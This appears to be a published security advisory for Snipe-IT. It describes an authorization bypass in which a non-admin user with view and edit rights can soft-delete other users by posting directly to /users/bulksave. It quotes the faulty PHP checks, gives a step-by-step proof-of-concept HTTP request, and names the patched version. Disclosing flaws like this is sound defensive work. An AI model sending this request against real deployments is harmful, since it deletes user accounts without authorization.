GHSA-vgx7-c78r-69w9: CSRF
Impact An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The attacker does not have users.delete, admin, or superuser.
Affected Component
- routes/web/users.php
- app/Http/Controllers/Users/BulkUsersController.php
- Endpoint: POST /users/bulksave
Root Cause
The UI only exposes bulk delete to users with delete permission:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php @can('delete', \App\Models\User::class) <option value="delete">...</option> <option value="merge">...</option> @endcan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The confirmation path also checks delete:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulkactions') == 'delete') { $this->authorize('delete', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
However, the destructive route is registered separately:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php Route::post('bulksave', [Users\BulkUsersController::class, 'destroy']) ->name('users/bulksave'); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
and destroy() authorizes only update:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
When deleteuser=1 is present, the method reaches:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $user->delete(); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept
1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.
2. Create a harmless non-admin target user.
3. Log in as the attacker and obtain a valid CSRF token.
4. Send:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> Content-Type: application/x-www-form-urlencoded
token=<csrf-token> ids[]=<target-user-id> deleteuser=1 statusid=<valid-status-id> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Observed response:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 302 Found Location: http://<snipe-it-host>/users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Patches Patched in 374f426f0c
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/snipe/snipe-itto a version that resolves this vulnerability.Fixed in 8.6.2 - Upgrade
Upgrade
snipe-itto a version that resolves this vulnerability.Patch 374f426f0c
Event History
Frequently Asked Questions
Which accounts are exposed to this authorization bypass?
Authenticated non-admin accounts that have both users.view and users.edit permissions are exposed, even if they do not have users.delete, admin, or superuser privileges.
What does an attacker need to do to exploit the issue?
The attacker must be authenticated and able to send a direct POST request to /users/bulksave. They do not need access to the bulk-delete UI or its confirmation route.
What is the impact on targeted accounts?
An attacker can soft-delete another non-admin user. The provided information does not indicate that admin or superuser accounts can be targeted.
Does hiding the bulk-delete option in the interface prevent exploitation?
No. The UI and confirmation flow enforce users.delete, but the POST endpoint's destructive operation authorizes only update permission, allowing direct requests to bypass those interface checks.